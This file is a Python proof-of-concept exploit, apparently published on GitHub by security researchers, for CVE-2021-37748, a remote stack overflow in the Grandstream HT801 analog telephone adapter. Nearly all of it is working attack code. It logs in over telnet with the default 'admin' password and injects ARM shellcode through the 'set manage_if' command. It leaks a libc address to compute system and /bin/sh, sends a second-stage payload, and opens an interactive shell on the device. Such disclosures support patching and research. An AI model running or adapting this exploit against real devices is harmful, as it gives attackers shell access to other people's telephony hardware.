-
Notifications
You must be signed in to change notification settings - Fork 6
/
CVE-2021-37748-path2-telnet.py
116 lines (95 loc) · 2.54 KB
/
CVE-2021-37748-path2-telnet.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
'''
CVE-2021-37748 Grandstream HT801 ATA remote stack overflow.
Tested on:
1.0.27.2
1.0.25.5
Adam Simuntis <adam.simuntis(at)secforce.com>
Mindaugas Slusnys <mindaugas.slusnys(at)secforce.com>
'''
from pwn import *
from struct import pack,unpack
context.arch='arm'
IP='192.168.1.128'
PASS='admin'
def setup():
p.sendlineafter('Password: ',PASS)
p.sendlineafter('GS> ','config')
def send_payload(payload):
p.sendlineafter('CONFIG> ',b'set manage_if '+payload)
# We have enabled telnet for the purpose of the PoC, it is also exploitable over ssh.
p = remote(IP,23)
# Prep for stage2
pivot = asm('sub sp,sp, #964;')
fix_regs = asm("""
sub r4,r10, #2000;
sub r11, r4, #108;
sub r7, r4, #112;
""")
load_puts_got = asm("""
mov r6, #0x1;
mov r6, r6, lsl #8;
add r6, r6, #0x58;
mov r6, r6, lsl #8;
add r6, r6, #0x9c;
mov r0, r6, ror r8
""")
jmp_puts = asm("""
mov r6, #0xA3;
mov r6, r6, lsl #8;
add r6, r6, #0x48;
mov r1, r8;
mov pc, r6;
""")
sc = pivot + fix_regs + load_puts_got + jmp_puts
payload = b'A'*134 + sc
setup()
# Data will be allocated at the static address on the heap for requests larger than 100 bytes. Heap is rwx.
send_payload(payload)
payload = b'B'*52 + p32(0x16098)
log.info("Executing Stage1")
send_payload(payload)
p.sendlineafter('CONFIG> ','exit')
p.sendlineafter('GS> ','status')
leak = u32(p.recvuntil('CONFIG').split()[8])
log.info("puts : " + hex(leak))
libc_base = leak - 0x32654
pop_r0_pc = libc_base + 0x5f074
system = libc_base + 0x5e54c
binsh = libc_base + 0x60eb0
log.info("libc_base : " + hex(libc_base))
log.info("system : " + hex(system))
log.info("binsh : " + hex(binsh))
q,w,e,r = unpack('4B',pack('>I',binsh))
load_binsh = asm("""
mov r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r0, r6, ror r2;
""" % (q,w,e,r))
q,w,e,r = unpack('4B',pack('>I',system))
load_system = asm("""
mov r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov r6, r6, lsl #8;
add r6, r6, #%d;
mov pc, r6""" % (q,w,e,r))
stage2 = load_binsh+load_system
payload = b'A'*350 + stage2
# Let's not continue if we encounter bad bytes.
avoid = [b'\x00',b'\x04',b'\t',b'\n',b'\r',b'\x11',b'\x12',b'\x13',b'\x15',b'\x16',b'\x17',b'\x1a',b'\x1c',b'\x7f',b'\xff']
assert not any(c in payload for c in avoid) != 0,"Bad bytes in payload."
log.info("Payload clean")
p.sendlineafter('> ',b'set manage_if '+payload)
log.info("Executing Stage2")
# Trigger
p.sendlineafter('CONFIG> ','exit')
# Catch garbage
p.recv()
p.interactive()